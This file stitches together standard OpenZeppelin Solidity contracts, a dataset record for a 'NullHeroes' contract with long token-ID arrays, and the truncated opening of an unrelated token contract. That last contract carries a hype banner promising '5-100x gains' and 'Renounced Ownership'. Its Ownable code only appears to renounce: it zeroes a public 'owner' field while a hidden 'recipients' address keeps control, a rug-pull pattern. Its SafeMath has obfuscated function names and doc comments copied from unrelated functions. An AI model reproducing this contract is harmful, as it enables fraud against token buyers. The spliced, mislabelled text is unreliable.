buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
} | NullHeroes contract | NullHeroes internal nullHeroes;
| 1,206,771 | [
1,
2041,
44,
2439,
281,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
4112,
44,
2439,
281,
2713,
446,
44,
2439,
281,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
_______ _______ _______
| |_____| |______ |
|_____ | | ______| |
_______ _____ _______ _ _ _______ _______ _______ _____
| | | |____/ |______ | | | |
| __|__ |_____ | \_ |______ | | |_____|
_______ _______ ______ _______
| | | |_____| |_____/ |______
| | | | | | \_ ______|
The bullish market appears to be fading away... although there is one chance left to make potential 5-100x gains.
Will you buy the last ticket to mars?
Our Benefits:
🔥 25% token burn ☺️
💫 Total Supply: 300,300,300
🚀 Fair Launch, Silent Launch, and 2% token reflections from each transaction to the community! 1% gets sent
to marketing wallet.
🎮 NFT based Mars rocket racing game set for release!
🔒 Locked Liquidity and Renounced Ownership
👨👩👧👧 True Community Token
🖍 MARKETING SEQUENCE WILL BE INITIATED SHORTLY AFTER LAUNCH. STRAP IN!
💥 A BSC/MATIC bridge is slated for release during Q1 before game launch. Game should launch at the start of February.
*/
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.10;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
